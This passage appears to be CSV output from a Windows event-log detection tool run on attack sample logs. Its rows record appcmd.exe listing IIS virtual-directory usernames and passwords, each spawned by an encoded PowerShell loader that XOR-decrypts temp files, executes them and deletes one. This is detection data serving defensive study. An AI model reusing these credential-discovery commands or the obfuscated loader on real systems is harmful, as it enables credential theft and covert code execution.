AYwB0ACAAQgB5AHQAZQBbAF0AIAAkAGUAbgBjAF8AbQBvAGQAdQBsAGUALgBMAGUAbgBnAHQAaAA7ACQAZABlAGMAXwBhAHAAcABfAGMAbwBkAGUAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAQgB5AHQAZQBbAF0AIAAkAGUAbgBjAF8AYQBwAHAAXwBjAG8AZABlAC4ATABlAG4AZwB0AGgAOwBmAG8AcgAgACgAJABpACAAPQAgADAAOwAgACQAaQAgAC0AbAB0ACAAJABlAG4AYwBfAG0AbwBkAHUAbABlAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAJABkAGUAYwBfAG0AbwBkAHUAbABlAFsAJABpAF0AIAA9ACAAJABlAG4AYwBfAG0AbwBkAHUAbABlAFsAJABpAF0AIAAtAGIAeABvAHIAIAAkAGsAZQB5AFsAJABpACAAJQAgACQAawBlAHkALgBMAGUAbgBnAHQAaABdADsAfQA7AGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAGUAbgBjAF8AYQBwAHAAXwBjAG8AZABlAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAJABkAGUAYwBfAGEAcABwAF8AYwBvAGQAZQBbACQAaQBdACAAPQAgACQAZQBuAGMAXwBhAHAAcABfAGMAbwBkAGUAWwAkAGkAXQAgAC0AYgB4AG8AcgAgACQAawBlAHkAWwAkAGkAIAAlACAAJABrAGUAeQAuAEwAZQBuAGcAdABoAF0AOwB9ADsAJABkAGUAYwBfAG0AbwBkAHUAbABlAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABkAGUAYwBfAG0AbwBkAHUAbABlACkAOwAkAGQAZQBjAF8AYQBwAHAAXwBjAG8AZABlAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABkAGUAYwBfAGEAcABwAF8AYwBvAGQAZQApADsAJAAoACQAZABlAGMAXwBtAG8AZAB1AGwAZQArACQAZABlAGMAXwBhAHAAcABfAGMAbwBkAGUAKQB8AGkAZQB4ADsAUgBlAG0AbwB2AGUALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABwAGEAdABoAF8AaQBuAF8AYQBwAHAAXwBjAG8AZABlACAALQBGAG8AcgBjAGUAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0ATgB1AGwAbAA7AA==",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/discovery_sysmon_1_iis_pwd_and_config_discovery_appcmd.evtx +2019-05-27 10:29:19.894 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\inetsrv\appcmd.exe"" list vdir /text:userName : Path: C:\Windows\System32\inetsrv\appcmd.exe : User: IIS APPPOOL\DefaultAppPool : Parent Command: ""C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"" -nop -noni -enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAiAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAIgA7ACQAcABhAHQAaABfAGkAbgBfAG0AbwBkAHUAbABlAD0AIgBDADoAXABXAGkAbgBkAG8AdwBzAFwAVABlAG0AcABcADYAagByAHgAawAzAFwAZwBmAGcAOQBpACIAOwAkAHAAYQB0AGgAXwBpAG4AXwBhAHAAcABfAGMAbwBkAGUAPQAiAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGUAbQBwAFwANgBqAHIAeABrADMAXABuAGoAYQA5AHQANgA0AHIAcgBsAHUAOAAiADsAJABrAGUAeQA9AFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABCAHkAdABlAHMAKAAnADgAZAA5ADYAOQBlAGUAZgA2AGUAYwBhAGQAMwBjADIAOQBhADMAYQA2ADIAOQAyADgAMABlADYAOAA2AGMAZgAwAGMAMwBmADUAZAA1AGEAOAA2AGEAZgBmADMAYwBhADEAMgAwADIAMABjADkAMgAzAGEAZABjADYAYwA5ADIAJwApADsAJABlAG4AYwBfAG0AbwBkAHUAbABlAD0AWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAUgBlAGEAZABBAGwAbABCAHkAdABlAHMAKAAkAHAAYQB0AGgAXwBpAG4AXwBtAG8AZAB1AGwAZQApADsAJABlAG4AYwBfAGEAcABwAF8AYwBvAGQAZQA9AFsAUwB5AHMAdABlAG0ALgBJAE8ALgBGAGkAbABlAF0AOgA6AFIAZQBhAGQAQQBsAGwAQgB5AHQAZQBzACgAJABwAGEAdABoAF8AaQBuAF8AYQBwAHAAXwBjAG8AZABlACkAOwAkAGQAZQBjAF8AbQBvAGQAdQBsAGUAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAQgB5AHQAZQBbAF0AIAAkAGUAbgBjAF8AbQBvAGQAdQBsAGUALgBMAGUAbgBnAHQAaAA7ACQAZABlAGMAXwBhAHAAcABfAGMAbwBkAGUAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAQgB5AHQAZQBbAF0AIAAkAGUAbgBjAF8AYQBwAHAAXwBjAG8AZABlAC4ATABlAG4AZwB0AGgAOwBmAG8AcgAgACgAJABpACAAPQAgADAAOwAgACQAaQAgAC0AbAB0ACAAJABlAG4AYwBfAG0AbwBkAHUAbABlAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAJABkAGUAYwBfAG0AbwBkAHUAbABlAFsAJABpAF0AIAA9ACAAJABlAG4AYwBfAG0AbwBkAHUAbABlAFsAJABpAF0AIAAtAGIAeABvAHIAIAAkAGsAZQB5AFsAJABpACAAJQAgACQAawBlAHkALgBMAGUAbgBnAHQAaABdADsAfQA7AGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAGUAbgBjAF8AYQBwAHAAXwBjAG8AZABlAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAJABkAGUAYwBfAGEAcABwAF8AYwBvAGQAZQBbACQAaQBdACAAPQAgACQAZQBuAGMAXwBhAHAAcABfAGMAbwBkAGUAWwAkAGkAXQAgAC0AYgB4AG8AcgAgACQAawBlAHkAWwAkAGkAIAAlACAAJABrAGUAeQAuAEwAZQBuAGcAdABoAF0AOwB9ADsAJABkAGUAYwBfAG0AbwBkAHUAbABlAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABkAGUAYwBfAG0AbwBkAHUAbABlACkAOwAkAGQAZQBjAF8AYQBwAHAAXwBjAG8AZABlAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABkAGUAYwBfAGEAcABwAF8AYwBvAGQAZQApADsAJAAoACQAZABlAGMAXwBtAG8AZAB1AGwAZQArACQAZABlAGMAXwBhAHAAcABfAGMAbwBkAGUAKQB8AGkAZQB4ADsAUgBlAG0AbwB2AGUALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABwAGEAdABoAF8AaQBuAF8AYQBwAHAAXwBjAG8AZABlACAALQBGAG8AcgBjAGUAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0ATgB1AGwAbAA7AA==",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/discovery_sysmon_1_iis_pwd_and_config_discovery_appcmd.evtx +2019-05-27 10:29:19.964 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\inetsrv\appcmd.exe"" list vdir /text:password : Path: C:\Windows\System32\inetsrv\appcmd.exe : User: IIS APPPOOL\DefaultAppPool : Parent Command: ""C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"" -nop -noni -enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAiAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAIgA7ACQAcABhAHQAaABfAGkAbgBfAG0AbwBkAHUAbABlAD0AIgBDADoAXABXAGkAbgBkAG8AdwBzAFwAVABlAG0AcABcADYAagByAHgAawAzAFwAZwBmAGcAOQBpACIAOwAkAHAAYQB0AGgAXwBpAG4AXwBhAHAAcABfAGMAbwBkAGUAPQAiAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGUAbQBwAFwANgBqAHIAeABrADMAXABuAGoAYQA5AHQANgA0AHIAcgBsAHUAOAAiADsAJABrAGUAeQA9AFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABCAHkAdABlAHMAKAAnADgAZAA5ADYAOQBlAGUAZgA2AGUAYwBhAGQAMwBjADIAOQBhADMAYQA2ADIAOQAyADgAMABlADYAOAA2AGMAZgAwAGMAMwBmADUAZAA1AGEAOAA2AGEAZgBmADMAYwBhADEAMgAwADIAMABjADkAMgAzAGEAZABjADYAYwA5ADIAJwApADsAJABlAG4AYwBfAG0AbwBkAHUAbABlAD0AWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAUgBlAGEAZABBAGwAbABCAHkAdABlAHMAKAAkAHAAYQB0AGgAXwBpAG4AXwBtAG8AZAB1AGwAZQApADsAJABlAG4AYwBfAGEAcABwAF8AYwBvAGQAZQA9AFsAUwB5AHMAdABlAG0ALgBJAE8ALgBGAGkAbABlAF0AOgA6AFIAZQBhAGQAQQBsAGwAQgB5AHQAZQBzACgAJABwAGEAdABoAF8AaQBuAF8AYQBwAHAAXwBjAG8AZABlACkAOwAkAGQAZQBjAF8AbQBvAGQAdQBsAGUAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAQgB5AHQAZQBbAF0AIAAkAGUAbgBjAF8AbQBvAGQAdQBsAGUALgBMAGUAbgBnAHQAaAA7ACQAZABlAGMAXwBhAHAAcABfAGMAbwBkAGUAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAQgB5AHQAZQBbAF0AIAAkAGUAbgBjAF8AYQBwAHAAXwBjAG8AZABlAC4ATABlAG4AZwB0AGgAOwBmAG8AcgAgACgAJABpACAAPQAgADAAOwAgACQAaQAgAC0AbAB0ACAAJABlAG4AYwBfAG0AbwBkAHUAbABlAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAJABkAGUAYwBfAG0AbwBkAHUAbABlAFsAJABpAF0AIAA9ACAAJABlAG4AYwBfAG0AbwBkAHUAbABlAFsAJABpAF0AIAAtAGIAeABvAHIAIAAkAGsAZQB5AFsAJABpACAAJQAgACQAawBlAHkALgBMAGUAbgBnAHQAaABdADsAfQA7AGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAGUAbgBjAF8AYQBwAHAAXwBjAG8AZABlAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAJABkAGUAYwBfAGEAcABwAF8AYwBvAGQAZQBbACQAaQBdACAAPQAgACQAZQBuAGMAXwBhAHAAcABfAGMAbwBkAGUAWwAkAGkAXQAgAC0AYgB4AG8AcgAgACQAawBlAHkAWwAkAGkAIAAlACAAJABrAGUAeQAuAEwAZQBuAGcAdABoAF0AOwB9ADsAJABkAGUAYwBfAG0AbwBkAHUAbABlAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABkAGUAYwBfAG0AbwBkAHUAbABlACkAOwAkAGQAZQBjAF8AYQBwAHAAXwBjAG8AZABlAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABkAGUAYwBfAGEAcABwAF8AYwBvAGQAZQApADsAJAAoACQAZABlAGMAXwBtAG8AZAB1AGwAZQArACQAZABlAGMAXwBhAHAAcABfAGMAbwBkAGUAKQB8AGkAZQB4ADsAUgBlAG0AbwB2AGUALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABwAGEAdABoAF8AaQBuAF8AYQBwAHAAXwBjAG8AZABlACAALQBGAG8AcgBjAGUAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0ATgB1AGwAbAA7AA==",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/discovery_sysmon_1_iis_pwd_and_config_discovery_appcmd.evtx +2019-05-27 10:29:20.034 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\inetsrv\appcmd.exe"" list vdir ""Description: Cannot read configuration file due to insufficient permissions"" /text:userName : Path: C:\Windows\System32\inetsrv\appcmd.exe : User: IIS APPPOOL\DefaultAppPool : Parent Command: ""C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"" -nop -noni -enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAiAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAIgA7ACQAcABhAHQAaABfAGkAbgBfAG0AbwBkAHUAbABlAD0AIgBDADoAXABXAGkAbgBkAG8AdwBzAFwAVABlAG0AcABcADYAagByAHgAawAzAFwAZwBmAGcAOQBpACIAOwAkAHAAYQB0AGgAXwBpAG4AXwBhAHAAcABfAGMAbwBkAGUAPQAiAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGUAbQBwAFwANgBqAHIAeABrADMAXABuAGoAYQA5AHQANgA0AHIAcgBsAHUAOAAiADsAJABrAGUAeQA9AFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABCAHkAdABlAHMAKAAnADgAZAA5ADYAOQBlAGUAZgA2AGUAYwBhAGQAMwBjADIAOQBhADMAYQA2ADIAOQAyADgAMABlADYAOAA2AGMAZgAwAGMAMwBmADUAZAA1AGEAOAA2AGEAZgBmADMAYwBhADEAMgAwADIAMABjADkAMgAzAGEAZABjADYAYwA5ADIAJwApADsAJABlAG4AYwBfAG0AbwBkAHUAbABlAD0AWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAUgBlAGEAZABBAGwAbABCAHkAdABlAHMAKAAkAHAAYQB0AGgAXwBpAG4AXwBtAG8AZAB1AGwAZQApADsAJABlAG4AYwBfAGEAcABwAF8AYwBvAGQAZQA9AFsAUwB5AHMAdABlAG0ALgBJAE8ALgBGAGkAbABlAF0AOgA6AFIAZQBhAGQAQQBsAGwAQgB5AHQAZQBzACgAJABwAGEAdABoAF8AaQBuAF8AYQBwAHAAXwBjAG8AZABlACkAOwAkAGQAZQBjAF8AbQBvAGQAdQBsAGUAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAQgB5AHQAZQBbAF0AIAAkAGUAbgBjAF8AbQBvAGQAdQBsAGUALgBMAGUAbgBnAHQAaAA7ACQAZABlAGMAXwBhAHAAcABfAGMAbwBkAGUAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAQgB5AHQAZQBbAF0AIAAkAGUAbgBjAF8AYQBwAHAAXwBjAG8AZABlAC4ATABlAG4AZwB0AGgAOwBmAG8AcgAgACgAJABpACAAPQAgADAAOwAgACQAaQAgAC0AbAB0ACAAJABlAG4AYwBfAG0AbwBkAHUAbABlAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAJABkAGUAYwBfAG0AbwBkAHUAbABlAFsAJABpAF0AIAA9ACAAJABlAG4AYwBfAG0AbwBkAHUAbABlAFsAJABpAF0AIAAtAGIAeABvAHIAIAAkAGsAZQB5AFsAJABpACAAJQAgACQAawBlAHkALgBMAGUAbgBnAHQAaABdADsAfQA7AGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAGUAbgBjAF8AYQBwAHAAXwBjAG8AZABlAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAJABkAGUAYwBfAGEAcABwAF8AYwBvAGQAZQBbACQAaQBdACAAPQAgACQAZQBuAGMAXwBhAHAAcABfAGMAbwBkAGUAWwAkAGkAXQAgAC0AYgB4AG8AcgAgACQAawBlAHkAWwAkAGkAIAAlACAAJABrAGUAeQAuAEwAZQBuAGcAdABoAF0AOwB9ADsAJABkAGUAYwBfAG0AbwBkAHUAbABlAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABkAGUAYwBfAG0AbwBkAHUAbABlACkAOwAkAGQAZQBjAF8AYQBwAHAAXwBjAG8AZABlAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABkAGUAYwBfAGEAcABwAF8AYwBvAGQAZQApADsAJAAoACQAZABlAGMAXwBtAG8AZAB1AGwAZQArACQAZABlAGMAXwBhAHAAcABfAGMAbwBkAGUAKQB8AGkAZQB4ADsAUgBlAG0AbwB2AGUALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABwAGEAdABoAF8AaQBuAF8AYQBwAHAAXwBjAG8AZABlACAALQBGAG8AcgBjAGUAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0ATgB1AGwAbAA7AA==",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/discovery_sysmon_1_iis_pwd_and_config_discovery_appcmd.evtx +2019-05-27 10:29:20.124 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\inetsrv\appcmd.exe"" list vdir ""Description: Cannot read configuration file due to insufficient permissions"" /text:password : Path: C:\Windows\System32\inetsrv\appcmd.exe : User: IIS APPPOOL\DefaultAppPool : Parent Command: ""C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"" -nop -noni -enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAiAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAIgA7ACQAcABhAHQAaABfAGkAbgBfAG0AbwBkAHUAbABlAD0AIgBDADoAXABXAGkAbgBkAG8AdwBzAFwAVABlAG0AcABcADYAagByAHgAawAzAFwAZwBmAGcAOQBpACIAOwAkAHAAYQB0AGgAXwBpAG4AXwBhAHAAcABfAGMAbwBkAGUAPQAiAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGUAbQBwAFwANgBqAHIAeABrADMAXABuAGoAYQA5AHQANgA0AHIAcgBsAHUAOAAiADsAJABrAGUAeQA9AFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABCAHkAdABlAHMAKAAnADgAZAA5ADYAOQBlAGUAZgA2AGUAYwBhAGQAMwBjADIAOQBhADMAYQA2ADIAOQAyADgAMABlADYAOAA2AGMAZgAwAGMAMwBmADUAZAA1AGEAOAA2AGEAZgBmADMAYwBhADEAMgAwADIAMABjADkAMgAzAGEAZABjADYAYwA5ADIAJwApADsAJABlAG4AYwBfAG0AbwBkAHUAbABlAD0AWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAUgBlAGEAZABBAGwAbABCAHkAdABlAHMAKAAkAHAAYQB0AGgAXwBpAG4AXwBtAG8AZAB1AGwAZQApADsAJABlAG4AYwBfAGEAcABwAF8AYwBvAGQAZQA9AFsAUwB5AHMAdABlAG0ALgBJAE8ALgBGAGkAbABlAF0AOgA6AFIAZQBhAGQAQQBsAGwAQgB5AHQAZQBzACgAJABwAGEAdABoAF8AaQBuAF8AYQBwAHAAXwBjAG8AZABlACkAOwAkAGQAZQBjAF8AbQBvAGQAdQBsAGUAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAQgB5AHQAZQBbAF0AIAAkAGUAbgBjAF8AbQBvAGQAdQBsAGUALgBMAGUAbgBnAHQAaAA7ACQAZABlAGMAXwBhAHAAcABfAGMAbwBkAGUAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAQgB5AHQAZQBbAF0AIAAkAGUAbgBjAF8AYQBwAHAAXwBjAG8AZABlAC4ATABlAG4AZwB0AGgAOwBmAG8AcgAgACgAJABpACAAPQAgADAAOwAgACQAaQAgAC0AbAB0ACAAJABlAG4AYwBfAG0AbwBkAHUAbABlAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAJABkAGUAYwBfAG0AbwBkAHUAbABlAFsAJABpAF0AIAA9ACAAJABlAG4AYwBfAG0AbwBkAHUAbABlAFsAJABpAF0AIAAtAGIAeABvAHIAIAAkAGsAZQB5AFsAJABpACAAJQAgACQAawBlAHkALgBMAGUAbgBnAHQAaABdADsAfQA7AGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAGUAbgBjAF8AYQBwAHAAXwBjAG8AZABlAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAJABkAGUAYwBfAGEAcABwAF8AYwBvAGQAZQBbACQAaQBdACAAPQAgACQAZQBuAGMAXwBhAHAAcABfAGMAbwBkAGUAWwAkAGkAXQAgAC0AYgB4AG8AcgAgACQAawBlAHkAWwAkAGkAIAAlACAAJABrAGUAeQAuAEwAZQBuAGcAdABoAF0AOwB9ADsAJABkAGUAYwBfAG0AbwBkAHUAbABlAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABkAGUAYwBfAG0AbwBkAHUAbABlACkAOwAkAGQAZQBjAF8AYQBwAHAAXwBjAG8AZABlAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABkAGUAYwBfAGEAcABwAF8AYwBvAGQAZQApADsAJAAoACQAZABlAGMAXwBtAG8AZAB1AGwAZQArACQAZABlAGMAXwBhAHAAcABfAGMAbwBkAGUAKQB8AGkAZQB4ADsAUgBlAG0AbwB2AGUALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABwAGEAdABoAF8AaQBuAF8AYQBwAHAAXwBjAG8AZABlACAALQBGAG8AcgBjAGUAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0ATgB1AGwAbAA7AA==",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/discovery_sysmon_1_iis_pwd_and_config_discovery_appcmd.evtx +2019-05-27 10:29:20.204 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\inetsrv\appcmd.exe"" list vdir /text:userName : Path: C:\Windows\System32\inetsrv\appcmd.exe : User: IIS APPPOOL\DefaultAppPool : Parent Command: ""C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"" -nop -noni -enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAiAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAIgA7ACQAcABhAHQAaABfAGkAbgBfAG0AbwBkAHUAbABlAD0AIgBDADoAXABXAGkAbgBkAG8AdwBzAFwAVABlAG0AcABcADYAagByAHgAawAzAFwAZwBmAGcAOQBpACIAOwAkAHAAYQB0AGgAXwBpAG4AXwBhAHAAcABfAGMAbwBkAGUAPQAiAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGUAbQBwAFwANgBqAHIAeABrADMAXABuAGoAYQA5AHQANgA0AHIAcgBsAHUAOAAiADsAJABrAGUAeQA9AFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABCAHkAdABlAHMAKAAnADgAZAA5ADYAOQBlAGUAZgA2AGUAYwBhAGQAMwBjADIAOQBhADMAYQA2ADIAOQAyADgAMABlADYAOAA2AGMAZgAwAGMAMwBmADUAZAA1AGEAOAA2AGEAZgBmADMAYwBhADEAMgAwADIAMABjADkAMgAzAGEAZABjADYAYwA5ADIAJwApADsAJABlAG4AYwBfAG0AbwBkAHUAbABlAD0AWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAUgBlAGEAZABBAGwAbABCAHkAdABlAHMAKAAkAHAAYQB0AGgAXwBpAG4AXwBtAG8AZAB1AGwAZQApADsAJABlAG4AYwBfAGEAcABwAF8AYwBvAGQAZQA9AFsAUwB5AHMAdABlAG0ALgBJAE8ALgBGAGkAbABlAF0AOgA6AFIAZQBhAGQAQQBsAGwAQgB5AHQAZQBzACgAJABwAGEAdABoAF8AaQBuAF8AYQBwAHAAXwBjAG8AZABlACkAOwAkAGQAZQBjAF8AbQBvAGQAdQBsAGUAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAQgB5AHQAZQBbAF0AIAAkAGUAbgBjAF8AbQBvAGQAdQBsAGUALgBMAGUAbgBnAHQAaAA7ACQAZABlAGMAXwBhAHAAcABfAGMAbwBkAGUAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAQgB5AHQAZQBbAF0AIAAkAGUAbgBjAF8AYQBwAHAAXwBjAG8AZABlAC4ATABlAG4AZwB0AGgAOwBmAG8AcgAgACgAJABpACAAPQAgADAAOwAgACQAaQAgAC0AbAB0ACAAJABlAG4AYwBfAG0AbwBkAHUAbABlAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAJABkAGUAYwBfAG0AbwBkAHUAbABlAFsAJABpAF0AIAA9ACAAJABlAG4AYwBfAG0AbwBkAHUAbABlAFsAJABpAF0AIAAtAGIAeABvAHIAIAAkAGsAZQB5AFsAJABpACAAJQAgACQAawBlAHkALgBMAGUAbgBnAHQAaABdADsAfQA7AGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAGUAbgBjAF8AYQBwAHAAXwBjAG8AZABlAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAJABkAGUAYwBfAGEAcABwAF8AYwBvAGQAZQBbACQAaQBdACAAPQAgACQAZQBuAGMAXwBhAHAAcABfAGMAbwBkAGUAWwAkAGkAXQAgAC0AYgB4AG8AcgAgACQAawBlAHkAWwAkAGkAIAAlACAAJABrAGUAeQAuAEwAZQBuAGcAdABoAF0AOwB9ADsAJABkAGUAYwBfAG0AbwBkAHUAbABlAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABkAGUAYwBfAG0AbwBkAHUAbABlACkAOwAkAGQAZQBjAF8AYQBwAHAAXwBjAG8AZABlAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABkAGUAYwBfAGEAcABwAF8AYwBvAGQAZQApADsAJAAoACQAZABlAGMAXwBtAG8AZAB1AGwAZQArACQAZABlAGMAXwBhAHAAcABfAGMAbwBkAGUAKQB8AGkAZQB4ADsAUgBlAG0AbwB2AGUALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABwAGEAdABoAF8AaQBuAF8AYQBwAHAAXwBjAG8AZABlACAALQBGAG8AcgBjAGUAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0ATgB1AGwAbAA7AA==",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/discovery_sysmon_1_iis_pwd_and_config_discovery_appcmd.evtx +2019-05-27 10:29:20.305 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\inetsrv\appcmd.exe"" list vdir /text:password : Path: C:\Windows\System32\inetsrv\appcmd.exe : User: IIS APPPOOL\DefaultAppPool : Parent Command: ""C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"" -nop -noni -enc 